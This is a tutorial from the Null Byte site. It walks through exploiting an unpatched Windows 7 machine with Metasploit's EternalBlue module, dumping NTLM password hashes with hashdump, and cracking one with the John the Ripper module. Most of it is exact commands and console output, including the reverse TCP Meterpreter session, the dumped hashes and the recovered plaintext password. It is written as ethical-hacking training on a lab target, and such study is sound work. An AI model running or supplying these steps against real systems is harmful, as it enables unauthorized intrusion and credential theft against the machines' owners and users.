How to Use John the Ripper in Metasploit to Quickly Crack Windows Hashes « Null Byte :: WonderHowTo

There are many password-cracking tools out there, but one of the mainstays has always been John the Ripper. It's a powerful piece of software that can be configured and used in many different ways.Metasploitactually contains a little-known module version of JTR that can be used to quickly crack weak passwords, so let's explore it in an attempt to save precious time and effort.We will be using an unpatched versionWindows 7as the target, so if you have a copy lying around, feel free to use it. The method of exploitation doesn't matter so much here, as long as you can get a Meterpreter session on the target. TheJohn the Rippermodule should work onany version of Windowswe can grab the hashes from. In this tutorial, we will obtain the hash of an additional user that has logged onto the system (admin2).Don't Miss:Get Root with Metasploit's Local Exploit SuggesterStep 1: Compromise the PCTo begin, we will need to compromise the target and get aMeterpretersession. Since we know the target is running an unpatched version of Windows 7, we canuse EternalBlue to quickly exploitthe system from ourKali box.We will needMetasploit's built-in databaseup and running for the John the Ripper module to work later, so start it with the following command:~# service postgresql startThen, fire upMetasploitby typingmsfconsolein theterminal:~# msfconsole

[-] ***rting the Metasploit Framework console.../
[-] * WARNING: No database support: No database YAML file
[-] ***

         .                                         .
 .

      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB

                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP

                                                                    .
                .
        o                  To boldly go where no
                            shell has gone before

       =[ metasploit v5.0.20-dev                          ]
+ -- --=[ 1886 exploits - 1065 auxiliary - 328 post       ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]

msf5 >Next, load the EternalBlue exploit module with theusecommand:msf5 > use exploit/windows/smb/ms17_010_eternalblueSet the appropriate options, and typerunto launch:msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.0.1:1337
[+] 10.10.0.104:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.0.104:445 - Connecting to target for exploitation.
[+] 10.10.0.104:445 - Connection established for exploitation.
[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.0.104:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.0.104:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.0.104:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.104:445 - Starting non-paged pool grooming
[+] 10.10.0.104:445 - Sending SMBv2 buffers
[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.104:445 - Sending final SMBv2 buffers.
[*] 10.10.0.104:445 - Sending last fragment of exploit packet!
[*] 10.10.0.104:445 - Receiving response from exploit packet
[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.104:445 - Sending egg to corrupted connection.
[*] 10.10.0.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.104
[*] Meterpreter session 1 opened (10.10.0.1:1337 -> 10.10.0.104:49212) at 2019-06-27 11:56:09 -0500
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >We now have a working Meterpreter session on the target.Step 2: Grab Some HashesThe next thing we need to do isobtain the hashesof any users on the system. Meterpreter has an awesome feature calledhashdumpthat will automatically dump the hashes for us:meterpreter > hashdump

admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Unfortunately, all this does is display them on-screen. We need to save these to the database so the JTR module can work its magic. First, background the current session:meterpreter > background

[*] Backgrounding session 1...Then, we can use the hashdump post module to grab the hashes from our target. Load it with theusecommand:msf5 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/hashdumpMetasploit post moduleswork by running on an existing session, which is why we need to background the session in the first place. We can typeoptionsto display the settings for the module:msf5 post(windows/gather/hashdump) > options

Module options (post/windows/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.All we need to do is specify the session number we want to run this on. Use thesetcommand to set the session to 1 (or whatever session number that is running in the background):msf5 post(windows/gather/hashdump) > set session 1

session => 1Now, simply type run and the module will gather the hashes:msf5 post(windows/gather/hashdump) > run

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 1c8cfe9e1146578ee29d759b84a0ab70...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

admin2:"shots"

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::

[*] Post module execution completedWe can see that we got the same hashes as before, but we also found apasswordhint for admin2. Nice. Now if we typecredsat the prompt, Metasploit will display all the credentials that are currently stored in the database:msf5 post(windows/gather/hashdump) > creds

Credentials
===========

host         origin       service        public         private                                                            realm  private_type  JtR Format
----         ------       -------        ------         -------                                                            -----  ------------  ----------
10.10.0.104  10.10.0.104  445/tcp (smb)  guest          aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0         NTLM hash     nt,lm
10.10.0.104  10.10.0.104  445/tcp (smb)  administrator  aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0         NTLM hash     nt,lm
10.10.0.104  10.10.0.104  445/tcp (smb)  admin2         aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7         NTLM hash     nt,lmThis shows us the host, service, and associated credentials, as well as the hash type. Now all that's left to do is crack that hash.Recommended Reading:Metasploit Penetration Testing Cookbook, Third EditionStep 3: Crack the HashMetasploit's John the Ripper module is extremely useful when you need to quicklycrack hashes— without needing to bother loading up John externally. It is also useful to try as a first pass since it usually takes no time at all and could potentiallyuncover weak passwords.Now that we have our hashes stored in the database, load the JTR module with theusecommand:msf5 post(windows/gather/hashdump) > use auxiliary/analyze/jtr_windows_fastWe can take a look at the availableoptionsfor this module:msf5 auxiliary(analyze/jtr_windows_fast) > options

Module options (auxiliary/analyze/jtr_windows_fast):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   CONFIG                                 no        The path to a John config file to use instead of the default
   CUSTOM_WORDLIST                        no        The path to an optional custom wordlist
   ITERATION_TIMEOUT                      no        The max-run-time for each iteration of cracking
   JOHN_PATH                              no        The absolute path to the John the Ripper executable
   KORELOGIC             false            no        Apply the KoreLogic rules to Wordlist Mode(slower)
   MUTATE                false            no        Apply common mutations to the Wordlist (SLOW)
   POT                                    no        The path to a John POT file to use instead of the default
   USE_CREDS             true             no        Use existing credential data saved in the database
   USE_DB_INFO           true             no        Use looted database schema info to seed the wordlist
   USE_DEFAULT_WORDLIST  true             no        Use the default metasploit wordlist
   USE_HOSTNAMES         true             no        Seed the wordlist with hostnames from the workspace
   USE_ROOT_WORDS        true             no        Use the Common Root Words WordlistThere are options to use a custom wordlist or the powerful KoreLogic rules, but for now, we will keep the default options as they are. Typerunto kick it off:msf5 auxiliary(analyze/jtr_windows_fast) > run

[*] Hashes Written out to /tmp/hashes_tmp20190627-25408-1bio0bp
[*] Wordlist file written out to /tmp/jtrtmp20190627-25408-8tghjo
[*] Cracking lm hashes in normal wordlist mode...
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-06-27 12:16) 0g/s 261783p/s 261783c/s 261783C/s PLANAR..VAGRANT
Session completed
[*] Cracking lm hashes in single mode...
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:04 DONE (2019-06-27 12:16) 0g/s 2527Kp/s 2527Kc/s 2527KC/s LLB1903..E1900
Session completed
[*] Cracking lm hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-06-27 12:16) 0g/s 13386Kp/s 13386Kc/s 13386KC/s 0766269..0769743
Session completed
[*] Cracked Passwords this run:
[*] Cracking nt hashes in normal wordlist mode...
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-06-27 12:16) 0g/s 959350p/s 959350c/s 1918KC/s yesenia..yodelli
Session completed
[*] Cracking nt hashes in single mode...
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:07 DONE (2019-06-27 12:17) 0.1253g/s 8097Kp/s 8097Kc/s 11648KC/s yellowy1900..yodelli1900
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
[*] Cracking nt hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:05 DONE (2019-06-27 12:17) 0g/s 20885Kp/s 20885Kc/s 20885KC/s 73673920..73673952
Session completedWe can see it starts out by attempting to crack any LM hashes, first in wordlist mode, followed by single-mode, and finally, incremental mode. Next, it follows the same procedure for anyNT hashesthat are present. Once it completes, it shows us any cracked passwords that it uncovered, along with the associated username:[*] Cracked Passwords this run:
[+] admin2:tequila99
[-] Auxiliary failed: KeyError key not found: :address
[-] Call stack:
[-]   /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential/creation.rb:551:in `fetch'
[-]   /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential/creation.rb:551:in `create_credential_service'
[-]   /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential/creation.rb:301:in `block in create_credential_login'
[-]   /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential/creation.rb:621:in `retry_transaction'
[-]   /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential/creation.rb:300:in `create_credential_login'
[-]   /usr/share/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:27:in `block (2 levels) in create_cracked_credential'
[-]   /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/relation/delegation.rb:46:in `each'
[-]   /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/relation/delegation.rb:46:in `each'
[-]   /usr/share/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:25:in `block in create_cracked_credential'
[-]   /usr/share/metasploit-framework/lib/metasploit/framework/data_service/proxy/core.rb:166:in `data_service_operation'
[-]   /usr/share/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:15:in `create_cracked_credential'
[-]   /usr/share/metasploit-framework/lib/msf/core/auxiliary/report.rb:26:in `create_cracked_credential'
[-]   /usr/share/metasploit-framework/modules/auxiliary/analyze/jtr_windows_fast.rb:127:in `block (2 levels) in run'
[-]   /usr/share/metasploit-framework/lib/metasploit/framework/jtr/cracker.rb:173:in `block (2 levels) in each_cracked_password'
[-]   /usr/share/metasploit-framework/lib/metasploit/framework/jtr/cracker.rb:172:in `each_line'
[-]   /usr/share/metasploit-framework/lib/metasploit/framework/jtr/cracker.rb:172:in `block in each_cracked_password'
[-]   /usr/share/metasploit-framework/lib/metasploit/framework/jtr/cracker.rb:171:in `popen'
[-]   /usr/share/metasploit-framework/lib/metasploit/framework/jtr/cracker.rb:171:in `each_cracked_password'
[-]   /usr/share/metasploit-framework/modules/auxiliary/analyze/jtr_windows_fast.rb:90:in `block in run'
[-]   /usr/share/metasploit-framework/modules/auxiliary/analyze/jtr_windows_fast.rb:46:in `each'
[-]   /usr/share/metasploit-framework/modules/auxiliary/analyze/jtr_windows_fast.rb:46:in `run'
[*] Auxiliary module execution completedAs an added bonus, when we use thecredscommand to view stored credentials in our database, we can now see the plaintext password is included:msf5 auxiliary(analyze/jtr_windows_fast) > creds

Credentials
===========

host         origin       service        public         private                                                            realm  private_type  JtR Format
----         ------       -------        ------         -------                                                            -----  ------------  ----------
                                         admin2         tequila99                                                                 Password
10.10.0.104  10.10.0.104  445/tcp (smb)  guest          aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0         NTLM hash     nt,lm
10.10.0.104  10.10.0.104  445/tcp (smb)  administrator  aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0         NTLM hash     nt,lm
10.10.0.104  10.10.0.104  445/tcp (smb)  admin2         aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7         NTLM hash     nt,lmWrapping UpIn this tutorial, we learned about Metasploit's John the Ripper module and how to use it to quickly crack Windows hashes. We first exploited the target using EternalBlue and used the hashdump post module to grab user hashes and store them to the database. Then, we ran the JTR module right in Metasploit and cracked the hash of one of the users. Metasploit's JTR module makes it easy to obtain weak passwords in very little time, and it should be worth a shot in any Windows post-exploitation campaign.Don't Miss:Quickly Gather Target Information with Metasploit Post ModulesWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byMartin Lopez/Pexels; Screenshots by drd_/Null ByteRelatedHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:How to Crack User Passwords in a Linux SystemHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHow To:Hack WPA/WPA2-Enterprise Part 2How To:Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel SpreadsheetsHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How To:Perform a Pass-the-Hash Attack & Get System Access on WindowsHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHack Like a Pro:Using TFTP to Install Malicious Software on the TargetHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How to Hack Like a Pro:Getting Started with MetasploitHow To:Use Hash-Identifier to Determine Hash Types for Password CrackingHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)How To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:GPU Accelerate Cracking Passwords with HashcatRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:Recover a Windows Password with OphcrackNews:Best Hacking SoftwareNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingHow To:Mine Bitcoin and Make MoneyNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:Remove a Windows Password with a Linux Live CDNews:Chip Tha Ripper - "Feel Good"How To:Hack Mac OS X Lion PasswordsNews:Windansea Beach - San Diego SurfersHow To:How Hackers Steal Your Internet & How to Defend Against It